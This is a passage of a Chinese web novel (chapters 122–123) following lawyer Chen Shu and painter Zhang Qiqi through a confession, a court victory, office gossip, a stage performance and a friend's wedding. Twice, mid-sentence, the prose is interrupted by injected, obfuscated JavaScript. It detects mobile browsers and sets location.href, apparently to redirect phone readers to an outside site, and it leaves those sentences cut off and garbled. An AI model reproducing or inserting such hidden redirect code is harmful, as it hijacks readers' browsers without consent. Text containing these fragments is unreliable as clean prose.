夜凉如水,重新焕发繁华的金河湾广场上,喷泉随着音乐有节奏地喷发着,五颜六色的光芒伴随着喷泉腾空而起,周遭是喧闹热闹的人群,小孩子穿梭在喷泉里,蹦蹦跳跳。 陈恕、张期期并肩站着,喷泉的光芒闪烁在他们的眼底。 张期期想起方才陈恕的话,她抿了抿唇,低着头道:“你刚刚为什么要那么说啊?” 陈恕敛眉,“说什么?” “……说……你在追我。” 陈恕垂眸看他,“我说的是事实,我就是在追你。” “你在追我?”张期期讶异、不可置信地抬眸。 见她这么惊讶,陈恕气笑了,“你看不出来我在追你?” 张期期张了张嘴,哑口无言,片刻后,她嘟囔着道:“我以为就是朋友……而已。” 陈恕拧了拧眉心,往日里在法庭上能言善辩的他每一次在她面前总是被她气得噎住,他心中叹了口气。 与此同时,他的目光掠过她身后不远处,“期期,你先在这儿等我一下,可以吗?” 张期期点了点头,“哦,好。” 几分钟后,陈恕抱着一束火红的玫瑰花出现在张期期的面前,他垂眸,眼底认真,“期期,既然你不知道,那我现在正式地请求你,给我个机会让我追你,可以吗?” 他的话音刚落,广场上的音乐刚好唱到最高潮,随着高分贝的音乐,喷泉猛然朝天空冲击而上,灯光绚烂,水花四散着洒落下来,丁达尔效应下,时间空间仿佛变得缓慢下来,张期期仿佛看见了当年梧桐路、路灯下那个恍若神明的抱猫少年。 张期期仿佛被蛊惑了一般,她下意识道:“好……” 这一刻,激烈的音乐还在徜徉着,陈恕却确认无误地接收到她的回答,他嘴角荡开笑意,四散的水花飘飘扬扬地洒落,围观靠得太近的人群顿时发出惊呼的欢笑声。 更激烈的音乐响起,音乐喷泉朝天空绽放更绚烂、更大的水花,陈恕一手拿着玫瑰花束,一手牵起了张期期的手跑了起来,他们从人群中穿过,他带着她逃离被水花浇头的局面。 两人站在外围,看着反应不及被喷泉浇头的人群,人群惊声欢呼着,陈恕侧首看着一旁的张期期,她正忍俊不禁地看着“遭殃”的人们。 这么多年,她终于再次回到了他的身边……他一直空荡荡的心腔仿佛找到了缺失的那一部分。 …… 122. 第 122 章 - 京照市人民法院。 法庭上,法官一锤子敲下,柏雪案件宣告结束,率先无调色盘挂人、引导粉丝对柏雪进行网络暴力、人肉搜索行为最后导致其死亡的大作者得到了应有的惩罚。 张期期看着对方惊慌失措、满脸不可置信的样子,只觉得痛快不已,对方被自己的粉丝被捧久了,自然就飘飘欲仙,仿佛她说出口的就是金科玉律,从而失去了对于言语的敬畏之心,犯下了大错,又抱着面子死活不肯认错,非要等到法律判决下来,对方才觉得当头一棒。 法庭外,夏日艳阳,树上蝉鸣声阵阵,美好而灿烂的一天。 柏雪……我给你讨回公道了!你看到了吗? 庭审结束,尘埃落地,众人散场。陈恕从律师席位上走向张期期,他微微垂下眸拿着纸巾轻轻擦拭掉她眼尾的泪水,低声道:“期期,不要伤心了,我们胜诉了,这是好事。” “嗯。”张期期红着眼眶,笑着点点头,“陈恕,我们去告诉柏雪这个消息吧。” “好。” 陈恕牵着张期期的手走出了法院。法院门口,联合律所的王怀正等着陈恕,见他出来便迎上去,笑着道:“恭喜你啊,有胜诉了……” 王怀是陈恕当年在联合律所实习时同属一个师傅的师兄,陈恕笑了笑,“师兄你别笑话我了,胜诉才是应该的,你肯定也知道,毕竟是板上钉钉的证据了,而且……” “算了……不讲这个了,师兄你找我什么事?”陈恕说话的时候一直并没有松开张期期的手,张期期也只能笑着朝对方点了点头。 王怀瞥了一眼两人交握着的双手,眼中闪过调侃,“我都不知道原来陈恕你是个这么黏女朋友的人啊!” 张期期脸一红,用力挣脱他的手,“你们聊,我去旁边等你。” 陈恕瞥了张期期随手一指的地方,“好,去树下吧才不会太晒,我很快就过去。” “嗯……”张期期赶紧走开。 与此同时,一辆汽车突然停在了陈恕和王怀的面前,王怀甚至都不用看车牌号码就知道车里的人是谁,他道:“其实不是我找你,是赵谨。” 话音刚落,车窗被缓缓摇下,长相艳丽的赵谨绷着脸地望着陈恕,“我来就是想问一个问题,我们一起在德国上大学,一起在联合律所实习,论相貌、论能力,我哪点和你不合适?你为什么不喜欢我?” 她一向骄傲自信,从小到大想要的东西都能得到,她喜欢陈恕,陈恕自然也应该喜欢如此优秀的她才对。 隔着车窗,陈恕笑了笑,“你的相貌、能力如何,这些都和我喜不喜欢你挂不上钩。不喜欢就是不喜欢。” “你……”赵谨气急,她瞥了一眼不远处树下站着的女孩子,语气尖锐,“你喜欢她?她以前都抛弃你了,你还喜欢她?你喜欢她哪一点?” 赵谨怎么想都觉得自己没有哪一点不好的,堪称完美,这个世界上怎么会有人不喜欢她呢? “对,我喜欢她。”陈恕眼底带笑意,下意识地望向张期期,隔着一段距离,张期期似有所觉,她朝陈恕笑着。 赵谨绷着脸,“我说她都抛弃你了…你还……” 陈恕的事情她知道的也不少,当年在德国留学的时候,留学圈子本来就小,她和陈恕又都是京照市人,她高中在金中,陈恕在一中,她早就听说过陈恕的。 在德国,她也看见他在学业之外疯狂地打工赚钱,就为了找一个不知道在哪里的人,德国毕业有多难,在留学圈子里是众所周知的,更别说其中的法学了,法学的学生平日里上课、学习人手至少三本比砖头还厚的法典。 “她这不是回来了吗?”陈恕轻描淡写道。 赵谨:…… “王怀!上车!”赵谨冷声道。 王怀朝着陈恕歉意地笑了笑,“陈恕,不好意思啊!我先走了……” 陈恕笑了笑,“嗯,替我和师傅问声好。”他的师傅,赵谨的爸爸。 汽车车窗开着,夏日燥热的风吹拂进来,汽车驶过树前,赵谨正好对上了张期期看过来的目光,四目相对下,张期期下意识地朝她笑着。 她站在树下,夏日骄阳的光芒从树冠中穿透,细碎的光斑落在她的脚边,树冠摇晃,她白色的裙摆微微飘动,她眼眸带笑,像一阵温和的清风扑面而来。 赵谨绷着的脸愣了下,脸上闪过微妙的羞恼,她刷地一下子将车窗摇上,隔着黑色的车玻璃,她缓缓呼了口气,随即又偷偷趴在车窗上看着被汽车落在后方的张期期。 “哼,陈恕的眼光还不赖嘛!”那个女孩子看着就很想让人亲近的样子……赵谨微微红了红脸。 “你不是说陈恕瞎了眼,没看上你吗?”王怀觉得好笑。 赵谨双手抱胸:“哈……我现在觉得那个女孩子瞎了眼看上陈恕!再说了,喜欢我的人多得是。” 王怀瞥了她一眼,笑了笑低声道,“是啊,喜欢你的人多得是。”比如他…… …… 张期期虽然有些疑惑方才那个女孩子怎么突然一副生气的模样,但陈恕走了过来,她也就没有多想,将之抛在了脑后。 汽车行驶在环海大道,半个小时后,车停下,张期期和陈恕下了车。 一望无际的海边,带着微微咸味的海风吹着,沙滩上细碎的沙子在骄阳下泛着金色的光芒,张期期双手在嘴边做成一个喇叭的形状,她朝着大海喊道:“柏雪——” “我们胜诉了——” “柏雪,胜诉啦——” 海浪翻涌,飞鸟盘旋,仿佛在回应着张期期的话,张期期眼眸溢上湿热,陈恕将她揽在怀里,他们沉默着伫立在海边良久良久…… * 金颂律师事务所。 “你们发现没有,最近老板已经好一段时间准时准点下班了,有时候甚至比我们走得还早耶!” 这话一出,其他人朝着说话的人投去了无语的目光,方宜道:“你的消息也太滞后了……因为我们老板恋爱了啊!” “不是!”对方惊讶极了,“真的假的啊?” “骗你干什么!我有个同学在联合律所那边,她说上次在汀园居门口遇见我们老板和一个女人从汀园居走出来,我朋友告诉我,说我们老板亲口承认自己在追那个女人。” 助理小林幽幽地补了一句,“已经追到手了,上次老板还问我哪部电影好看,让我给他推荐……” “呵呵……老板也问过我,哪家甜品店好吃……” “笑死,老板问我,每次和女朋友出去是去哪里玩,有没有推荐的……” “……” 众人面面相觑,方宜犀利道:“哈!!我怀疑老板主要是在向你们通知,他谈恋爱了!” “是呗!律师圈子就这么大,真的现在除了那家伙,谁不知道我们老板已经有主啦…啧啧啧…” 方宜突然思绪一闪,想起来一件事,“对了,我想起来了,你们等等啊!”她连忙打开网页,找到了“七七”的微博,点进去,“快看,这个就是我们老板女朋友的微博……” 旁边的女孩子们全都围过去,八卦谁不想知道,更何况还是老板的八卦,嘿嘿嘿…… 方宜按着鼠标往下滚动页面,她诶了一声,“看这个时间和定位,她是在鹿海市读的大学呢,美术专业,很优秀啊……” “有没有照片啊!她每次来的时候我都在跑外勤。” 方宜翻了翻,“啊,看,她的微博里只有这张照片。” 照片里,面容稚嫩的女孩子正在画画,她的旁边摆放着一张桌子,桌子上是凌乱的颜料堆在一起,光线昏暗,她微微侧着脸的笑容却非常耀眼,仿佛是察觉到有人在拍照,便笑着偏头望过来…… 电脑显示屏上,张期期的照片被放大。 陈恕正好回律所,他见一群女孩子挤在一起看着什么,也不在意,反正是中午休息时间,她们爱做什么就做什么。 但显然刚刚八卦着老板的女孩子们都心虚不已,刷地一下子四散开来,唯独留下放大照片的方宜和陈恕面面相觑,他已经看到电脑屏幕上那张照片了…… 是期期。 陈恕顿了下,走过去,“方宜,你怎么有我女朋友的照片?”女朋友这三个字咬得很重。 方宜:…… “……老板,这是张小姐的个人微博,这张照片是她微博上的。” 闻言,陈恕伸手按上鼠标,将页面滑到最顶端,看了眼微博上的名字和头像,将账号记在了心里。 陈恕若有所思,收回手,准备上楼回办公室,然而踩上楼梯时,余光一瞥,发现楼梯墙上就挂着一副落笔为“七七”的作品。 他抿了抿唇,站在楼梯台阶上看着这副有些暗黑、压抑风格的作品,杂乱无序的线条填满画面二分之一,其他的空白处则勾勒出一个被无数丝线牵制、捆绑着的少女。 …… 回到办公室后,陈恕打开电脑,搜索出刚才记下来的微博账号,很明显这是一个有名气画手的工作号,微博粉丝有四十多万。 美术、音乐这些烧钱的东西他都很少接触,也没有这个天赋,他对于绘画唯一的印象来自于当年期期送给他的画像。那幅画被他好好地保存了起来…… 这些日子,他提高工作效率,压缩自己的休息时间恨不得能天天和期期见面,而他的每一次约,期期都答应了,如约而至。 当他问起时,期期笑着道:「不会啊……我平时都挺有空的,自由职业嘛……」 “你现在在做什么?”他好奇。 「也没什么……就偶尔接个稿子,随便画一画。」 以他的目光来看,期期画画很好看,但他并非专业人士,也不知道她的能力到底怎么样,见她语焉不详的样子,他也没有多问,总归张家的女儿就是想整日躺着,无所事事,张家都承担得起。 而以后他们要是结婚了,他的工资卡上交,她什么都不想做也没关系……所以他就没有过问她工作上的事情了。 现在……陈恕看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014348|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个粉丝体量这么大的工作号,突然觉得这个所谓的“随便画一画”有多大的水份了,再加上他记得当初装修律所的时候,楼梯墙上那幅画的价格也不低…… 陈恕忽然意识到自己对她到底有多不了解了,他将“七七”微博号滑到最低端,逐字逐句地看起她的动态来…… …… 日落月升,群星璀璨。 金颂律所的同事陆陆续续下班离开了,陈恕办公室的灯光却还在亮着,与这些日子准时准点下班完全不同。 不远处城市的高架桥上车水马龙,陈恕低垂着眼帘,头靠在椅背上。 他看了一下午期期微博的动态,这个微博是在她离开的那一年注册的,他反反复复地看。 从她离开的第二年下半年开始,她就不再在微博上过多地发和美术无关的东西,即便如此,他还是从中得到了一个信息——期期根本没去美国,她在鹿海市读的大学。 这个发现大大颠覆了他的认知,虽然之前林听就说过,期期离开是因为发生了迫不得已的事情,但他一直认为总归期期还是和陆向川离开了…… 陈恕紧紧抿着唇,她离开的第二年四月……就是那时候因为知道了兰亭的离去吧,所以她的微博动态上不再像最开始一样仿佛透露着无尽向上的活力…… 且他还发现了一点,这个微博上有接近整整两年的时间是空白的,而这个时间段也很巧妙,就是他的资助人——期期的姥姥,终于接受他在金钱上的反馈,所以说这一段时间肯定是发生了什么事情…… 夜色渐渐深沉,陈恕眼底泛上疲倦,他和期期都对过往绝口不提,但其实无论是他还是期期,都知道那是横亘在他们心中跨不过去的一道鸿沟。 陈恕从办公室走出来,他将灯光关掉,余光一瞥发现周嘉先又是还没下班。他拧了拧眉心走过去,敲了敲对方办公室的门。 片刻后,周嘉先走过来拉开了办公室的门,陈恕见他又想返回坐在办公桌后面,便道:“我是来让你下班的。” 周嘉先顿了下,笑道:“行为颠倒了吧,以前可是我催你下班的。” “你也知道是以前。”陈恕眼神无奈,“你不想说的事我自然不会非要问,但今天这个班你必须下。” 周嘉先:…… 半响,他拿起椅子上的西装外套,道:“行,听你的。” …… 陈恕拿出钥匙推开门,将玄关处的灯光打开,又低头从鞋柜里拿了双鞋丢在周嘉先的脚边道:“我去拿酒。” 周嘉先笑了下,随意地拉了张椅子坐在走廊附近的吧台上。 没过一会儿,陈恕拎着一打啤酒放在了吧台的桌子上,周嘉先露出了“就这……”的神情。 陈恕:…… 他拧了拧眉心,神色淡淡:“白酒不行,太伤胃了,红酒你又喝不醉,啤酒正好。” “行吧……”周嘉先决定凑合,他开了一瓶啤酒就往嘴里倒。见状,陈恕也跟着开了一瓶,也跟着往嘴里倒。 周嘉先:“……你干嘛?” “陪你喝。” 周嘉先:“陪我喝?那你意思意思一下得了。”他突然想起了以前的事,笑了一下,“就像以前我陪你喝酒一样,意思意思一下就行啦……” 陈恕摇了摇头,“也不是……” “你心情不好!”周嘉先肯定道。 “嗯。” 周嘉先本想问问,他现在不是已经和期期如胶似漆了吗?律师圈子的人都知道了,怎么今天还心情不好……但算了,他也心情不好,提不起精神来关注别人的事,反正他俩这辈子已经锁死了,有的是时间去将误会解释清楚…… 反观他……周嘉先喝着喝着,忍不住捶了下桌面。 陈恕吓了一跳,幽幽道:“轻点,别把我桌子捶裂了。” 周嘉先看了眼厚厚的大理石板,他气笑了,“……你太高看我了。” 陈恕盯着周嘉先看了片刻,实在是一向情绪稳定、长年笑容温和的对方突然变成这样子,他还真的是不太适应啊! 周嘉先将手中开了的那瓶啤酒喝完,忽然侧首看着陈恕,“我要结婚了。” 陈恕一滞,片刻后他点点头,“你喝醉了。” “一瓶啤酒而已,我会醉?”周嘉先笑了笑,认真道:“我说真的。我要结婚了。” 安静、安静,就是一片安静。 从来没听说对方有女朋友的陈恕盯着他看了好一会儿,艰难地问道:“方便说一下新娘是谁吗?我认识吗?” 周嘉先仿佛被人掐住了脖子一样,他伸手松了松领带,又揪了揪头发,硬着头皮道,“你认识的,就林絮。” 林絮…… 是他想的那个林絮吗? 陈恕张了张嘴,又闭上了,盯着周嘉先看。 周嘉先破罐子破摔,“没错,就是你想的那样。我妹妹林絮。” 陈恕哑口无言,眼神复杂,好半响后他才道:“你可真刑啊!” …… 123. 第 123 章 - 京照市的夏季总是格外地漫长,但再漫长也抵不过时间的流逝。夏去秋来,时值九月中旬,本市市中心大剧院即将举办一场盛大的剧场表演。 经过了几个月的苦练,戚和风心里还是有些没底,此刻她正坐在化妆室里,任由化妆师给她上妆,她看着镜子中的自己紧张地攥住了手心。 张洁莉、张期期在她身旁坐着,安安静静地看着工作人员给她化妆,整理衣服,戴上头饰等等……一直到戚和风的扮相完全弄好之后,她们两人才笑着和她说起话来。 张洁莉轻轻握住她的手,低声道:“加油!我们会在台下看着你的,不要紧张不要担心,这场演出你一定会完成得很好很好的,就像你之前在国外,我们向外宣扬我们国家的非遗时,那时的你每一次演出都完美完成。” 戚和风笑了笑,也小声道:“你也知道是国外,这一次台下坐的都是我们国家这方面的大师,我能不紧张吗?但是……你放心,这种抗压能力我还是有的。” “妈妈!”张期期眼睛亮亮地看着戚和风,笑着道:“你一定可以的。加油加油!” 戚和风笑着摸了摸张期期的发顶,“妈妈会加油的。对了,你男朋友呢?” 张期期:“他应该在等候厅那边,化妆室他不方便进来。” 这时,工作人员敲了敲门,道:“戚老师,我们要去后台了。您这边可以了吗?” 戚和风朝工作人员点了点头:“我已经弄好了。”随后她又对张期期说了一声,便跟着工作人员往后台走去,张洁莉作为内部人员自然也有资格跟着前往后台。 …… 张期期走出化妆室,转身一抬眸便看见长长的走廊尽头,一身西装的陈恕微微倚靠在墙壁上,正低着头看手机上的消息,他的身后是落地窗,窗外的树冠正随着风晃动着,斑驳的光影落在陈恕的脚下…… 岁月绵长,他仿佛一直静静地站在时光里,只待她一回头、一转身便能看见他。 许是张期期的眼神太过炙热,陈恕似有所觉,他抬眸望过去,见是张期期,便立刻将手机放回口袋里。 他目光灼灼地看着她,一袭黑色、泛着莹润光泽感的丝绸质地连衣裙,胸口处点缀着银色闪光的亮片,腰间一侧是缝合叠起的褶皱,更加修饰了她的腰身。 虽然同样是黑色的裙子,但款式却不相同,然而张期期微微拉起裙摆朝他走过来的时候,光影晃动,她仿佛与九年前在大剧院门口的那个少女渐渐重合,她来到了他的面前,陈恕伸出手,她落入了他的怀抱里。 张期期被抱得愣了一下,“陈恕?” 陈恕很快就收回了手,微笑道:“没事,就是……这样子穿很好看。” “很好看吗?”张期期眼底闪过羞怯,这件礼服是她和林听微信视频讨论了好久,两个人才终于选出来的。 “嗯,很好看。”陈恕肯定道,嘴角带着难以抑制的笑容。 张期期不自在地伸手锊了锊发丝,转移话题道:“诶,时间好像差不多了,我们赶紧去演出厅吧……” 陈恕自无不可,他点了下头,又低声问道:“会不会饿,要不要吃点东西垫垫肚子,那边我刚刚看到有甜点。” 甜点……蛋糕…… 陈恕、张期期四目相对,时间仿佛在他们眼前呼啸而过,那年夏日,她踩着小高跟,手上捧着小蛋糕和牛奶跑到了树荫下正在摆摊的他面前…… 张期期笑道:“好啊!” 陈恕也笑了,那一年的他忍受着夏日的燥热、浑身汗水,面前摆放着小摊子,而她一身礼服、坐在大剧院里看着剧场节目,一道门,他们之间仿佛天壤之别,然而现在,他终于能够站在她的身边,和她一起坐在有冷气的等候厅里慢慢吃着小蛋糕。这一刻,陈恕无比感谢那些年努力奋进的自己。 他看着因为吃到好吃的小蛋糕时而开心地微微眯了眯眼的期期,伸出手,大拇指轻轻擦过她的嘴边,将白色的奶油轻轻抹去…… 舞台上,灯光随着音乐闪烁,铿锵有力的战马声起,演员动作干脆利落,充满力道,舞台的幕布换了一张又一张,故事在幕布的变换中演绎着…… 舞台下一片黑暗,张期期握住陈恕的手隐隐激动着,她妈妈真的太帅了!太帅了!她完全沉浸在表演里,跟随着剧情情绪起伏着…… 一直到全场的演员集体致谢礼时,舞台下掌声雷动,张期期这才放开了握着陈恕的手,她用力地朝着戚和风挥手! 戚和风眼尾带着晶莹的湿润,这一刻她仿佛重新回到了几十年前的舞台上,如同当年那般耀眼绚烂,她深深鞠了一躬…… …… 演出顺利结束,戚和风、张洁莉还要和剧院的工作人员、表演人员和老师们聚一场,所以张期期没有跟着,而是和陈恕离开了剧院。 车窗外,蓝天辽阔,云朵团成一大片飘扬在天幕上,这一刻张期期掩藏在最深处的那根弦终于松了下来。 ……真好,真好啊!妈妈没有因为她和她爸爸错过了再次实现人生梦想的机会。她不用再背负这沉重的束缚了。张期期眼底荡起轻松的笑意。 噔——是手机在包里震动的声音。 刚才看表演的时候她将手机静音了,张期期摸出手机看了一眼,是林听发来的消息。 诶?是张截图。 张期期点开看了一下,发现是陈恕朋友圈最新动态的截图,他发了一张照片,照片上是一个女人的背影。 张期期一眼就看出来了,这张照片是她去找她妈妈的时候走过长长的走廊时,他在她身后偷拍的她。 【我就说穿这件礼服一定能惊艳陈恕,看吧,他直接把你照片发在他的微信动态上了。】 啊—— 张期期内心无声地尖叫了一声,他、他怎么发在他的微信上了,他的动态她见过,基本都是和法律相关的东西,而不是这种风花雪月的浪漫…… 她直接点进去陈恕的微信空间,发现她和陈恕之间的共同好友已经将这张照片点赞了,都是这些日子以来她慢慢加回来的高中朋友,他们甚至还在底下统一评论着“请问什么时候结婚?”。 结婚啊……张期期有些晃神。她下意识地再次看了一眼照片。照片上,走廊因为长度很长,白日里又没有开灯,只有尽头的化妆室开着灯,所以照片上表现出来的感觉就是一个身形纤细的女人穿过长长、昏暗的走廊,走向刺目耀眼的白光处,像是要去拥抱光明…… 总之连她都得承认,这张照片的光影效果处理得很好! 张期期双手捂住发烫的脸,正在开车的陈恕余光瞥了她一眼,又收回视线,他握着方向盘笑着道:“怎么了?” 他还敢问! 张期期有些羞恼,她轻哼了一声,“大律师也会明知故犯的吗?我要告你偷拍我!” 陈恕忍俊不禁,“唔……你怎么确定那个人是你?” “就是我啊!”她理直气壮。 陈恕幽幽道:“没有证据,这个说辞是不会被采纳的,我可以说照片上是一个背影很像你的别人。” 张期期一噎,片刻后她也学着对方的语气,幽幽道,“你还有别人?” 陈恕一顿,“好吧,我认罪,是我偷拍的你。” 汽车内响起了张期期轻松、欢快的笑声,陈恕余光瞥了一眼她,眼底也漫上笑意,她渐渐和很多年前的她再次重叠了,经年的晦涩好像在她身上渐渐淡去…… 好一会儿后,张期期笑够了,有些担心道:“你发这张照片会不会影响你大老板、大律师的形象啊?我之前和侯蕊、雷婷聊天的时候,听她们说现在她们的微信都不能发一些和工作无关的事情呢,说什么会影响企业形象啊什么的……” 陈恕将车停在路边的停车位上,看着她认真道:“……不会的。因为没有人能炒我鱿鱼。” “啊!也是……”张期期笑着朝四周看了看,“怎么停在这儿?” “先哥……”陈恕的话还没说完,张期期便抢着道:“……先哥又给你推荐餐厅了!我知道了!” 陈恕笑道:“嗯,是这样。” 张期期眼底荡漾开笑意,陈恕绕过去打开车门牵着她的手往已经定好的餐厅内走去。两人边吃边偶尔说着话…… “陈恕,我刚刚看了你拍的照片,照片上的光影和构图都很好,你……什么时候这么会拍照了?” 陈恕闻言,抿唇笑着,想起了律所的员工在办公区吹他拍出来的照片都能让她女朋友满意,还说男人一定要会拍照,能帮女朋友拍出美美照片的男人被换掉的概率比较低。 唔……当时他想着能多学一门技巧都是好事,所以就学了,一定不是因为他的员工说的话,开玩笑……他怎么可能会被换掉呢?不可能!绝不可能! 陈恕语气平静,“我一直都会拍照,只是以前没机会……” “哦……”张期期自然知道以前陈恕的情况,所以她相信了。 陈恕眼底闪过笑意,用公筷夹了菜放她碗里,“可以稍微吃多一点。” 这几个月,他要么带她去干净卫生的餐厅吃饭,要么自己煮饭做菜邀请她来家里吃,在他的缓慢干涉下,她的胃已经慢慢变好了一些,至少能稍微吃多一点了。 “嗯……”张期期眉眼弯弯。 * 与此同时,安心吃着饭的陈恕和张期期并不知道在金颂律所,他发的动态引起了律所内员工熊熊燃烧的八卦之心…… 方宜率先表示,“老板居然在自己的工作号上发女朋友的照片,这不结婚将来很难收场了吧?” 助理小林吐槽道:“那不是老板的工作号,老板就那么一个号,不像你分两个号,还在自己的私人号上疯狂吐槽工作!” 方宜:…… 众人偷偷笑起来,方宜怒道,“别说我,你们不也是这样吗?” 众人:…… “嗯?话说,老板和老板娘什么时候结婚啊?” “还没结婚,你老板娘就先喊上了?” “哎……”方宜摆摆手,“他们会结婚不是众所周知的实施吗?早晚而已啦……” 也是……众人心道,自从他们老板谈恋爱之后,整天都是面带微笑的,有一次他们甚至撞见老板在给委托人打官司的时候,突然露出会心一笑的神情,直接把对面的律师搞破防了,觉得他们老板不把他放在眼里。 当时他们律所几个同事也觉得老板是不是猖狂了点,虽然官司是必胜的,但不要这么搞别人心态吧,至少应该端正一点。 然而最后他们才知道,原来是因为那天老板娘在法院门口等他们老板啊!之后的事嘛,可以用老板的一句话概括,「啊,这位是我女朋友,嗯……好的好的,到时候结婚一定请大家。」 至于他们什么时候结婚吗?倒是个谜底…… 这时,周嘉先从二楼的办公室走下来,他手上拿着一大堆厚厚的红色纸封走到了员工办公区最前面,笑着道:“你们老板和老板娘什么时候结婚我不知道,但……我什么时候结婚你们现在就能知道了。” 啊??!! 众人惊愕不已地看着周嘉先挥了挥手中的红色纸封,啊……这!这好像是请柬吧! 是请柬吧?众人面面相觑,方宜试探着开口道:“诶?周律师你是不是说错了,这是老板的请柬吧?” 周嘉先:…… “……是我的。” 啊!!!不是……周律师什么时候有女朋友了?还要结婚了??比他们陷入爱河,画风突变,脸都要笑烂了的老板还要先结婚?? 他们呆愣了好一会儿才回过神来,一群人开始七嘴八舌地问起来了,周律师一向是比较温、平易近人的,所以他们想问就直接问了。 “周律师!!你什么时候有女朋友啦?我们都不知道啊!” “新娘是谁啊!是我们圈子的吗?” “周律师,闷声娶老婆啊!比老板还早走上人生巅峰啊!” …… 周嘉先笑了笑,将请柬一一递给在场的员工,一边回答了一些他愿意回答的问题,“不是我们圈子的。” “嗯……某种程度上来说,认识很多年了……” 方宜哇了一声,“是青梅竹马吗?” 周嘉先笑了下,“……唔……可以这么说吧!” 等陈恕回到律所的时候,就发现律所内大家都喜气洋洋的,他心里划过猜测,瞬间了然,是先哥的喜事和他们说了吧…… 助理小林突然抬头问:“老板,那你什么时候要结婚啊?周律师都比你还要快了?” 律所内的同事齐刷刷地停住了手头上的事情,竖起耳朵偷偷听着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023813|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈恕心中酸了一下,神色“冷淡”,“你这哪来的胜负欲……” 助理小林瞬间怂了一下,反思着自己是不是飘了,居然敢催老板快点结婚,他真是飘了! …… 周嘉先办公室。 陈恕面无表情地敲开了对方的办公室门,径直走进去坐在沙发上,“先哥,你确定吗?” 周嘉先心里苦笑一声,也不想回答这个问题,反而扯开了话题笑着道:“你是嫉妒我结婚比你快吗?话说……你和期期什么时候要结婚啊?” 陈恕明白了对方的意思,便也默契地不继续问了,不过…… “结婚啊……还不到时候吧……”总要等到他和期期终于能心无芥蒂地向对方坦诚,以及……他的脑海中浮现起林听的身影,无论是他还是期期,都希望有一天能看到她幸福…… 周嘉先啧了一声,每个人都有难以言喻的晦涩,成年人之间最好的默契就是该缄默的时候缄默。 * 秋季的尾巴,入冬之前,气温最是凉爽,每年这个时候办婚事的新人总是一茬接一茬。周嘉先的婚礼也是在这个时候举办的。 户外婚礼,现场的布置比较简约,但可以看得出来是下了心思和功夫的。 来参礼的人员也并不多,周嘉先顾忌到林絮的身体,可能没有那么多时间和精力陪着他一起应付生意上的朋友,所以他干脆没有叫上这些人,而是决定等婚礼结束之后重新找个日子和他们赔罪吃饭。 不过,金颂律所的几十个员工倒是有来的,因为他们也都是曾经陪着金颂律所一起成长的伙伴。 这一天,风和日丽,青草的芳香飘逸在每个人的鼻尖,张期期坐在系着五彩气球的椅子上,脚下轻轻踩着翠绿的草场,她低声道:“先哥好用心啊,你看着这地上的草块肯定是全部重新修整过的。” 坐在她身侧、赶回来参加婚礼的林听微笑着道:“嗯,我听说这个地方很难约的,那边是湖泊、这边后边又是山坡,山清水秀的,风景真的很好。” 陈恕坐在一旁听着,他比了起七的手势,低声道:“正常来说要提前一年预约,那几天,先哥打了很多个电话、辗转托关系都没有订到,最后还是刚好有一对情侣突然分手了退掉了场地。” 婚礼进行曲开始播放,穿着一身洁白婚纱的林絮挽着父亲的手臂缓缓走向台上正等待着的周嘉先,周嘉先面带微笑,目光却没有准确地落在新娘林絮的脸上。 林絮的父亲眼中充满愧疚和无奈,他缓缓将女儿的手放在了周嘉先的手中,语气沉重:“嘉先,以后就请你多多包容小絮了。” 林絮眼帘微垂,遮住了眼底的难堪,她下意识缩了缩指尖。 周嘉先脸上带着无懈可击的笑容,“爸,你放心吧。”他攥紧了她的手,不容她退却,又侧首微笑地盯着她看,不是她将他逼到这种地步吗? 林絮抿着唇,神色僵硬。 婚礼的程序很简单,周嘉先和林絮在亲朋好友面前许下了一生不离不弃的约定,然后他们为彼此戴上戒指,婚礼就算成了,没有父母好友致辞、也没有新郎新娘向彼此致辞。 林絮在周嘉先的成长过程中极具存在感,因此这场婚礼到场的周嘉先的初中、高中、大学都是知道林絮是周嘉先的继妹,大约只有金颂律所的员工不太清楚。 林絮站在台上,余光瞥过台下的一部分人时,她觉察到他们有些微妙的神情。 她心一紧,下意识咬着唇,指尖微微颤抖发凉,这场婚礼到底是怎么来的,没有人比她更清楚,所以……都是她自作自受。 今天是他们的婚礼,再如何,周嘉先想他都不该冷下脸的,他余光瞥见她的神情,脑海里浮现的却都是她乖巧地喊他哥、气哼哼地喊他哥,撒娇、理不直气也壮、生病委屈时等等语气不同的一声声“哥”。 周嘉先眼帘微垂,双手捧住她的脸,在她惊愕的目光下吻了她。 台下的亲朋好友适时地露出了笑容,鼓起掌声来,方才微妙的气氛瞬间一扫而空,王思、关宇、蒋文等几人甚至开始起哄哇哇大叫……现场的气氛终于热闹起来。 张期期见状,心底松了口气,也跟着鼓起了掌,她不知道先哥和林絮之间到底怎么回事,但既然决定结婚了,又是在婚礼上,还好先哥兜了底,不然到时候新娘在婚礼上哭起来那真是才让人头疼吧! “还好先哥还是靠谱的……”她低声道。 一旁的林听、侯蕊、雷婷、顾佳熹几人点了点头,陈恕微微笑了笑,之前他并不清楚先哥和林絮之间怎么回事,也未曾见过他们之间的相处,所以不好揣测。 然而今天……他笑了笑,就看先哥什么时候能够意识到他的感情了,刚才他眼中压抑的心疼在他眼里看来简直明晃晃的啊! 无数次的心软和妥协,没有爱怎么可能做得到…… 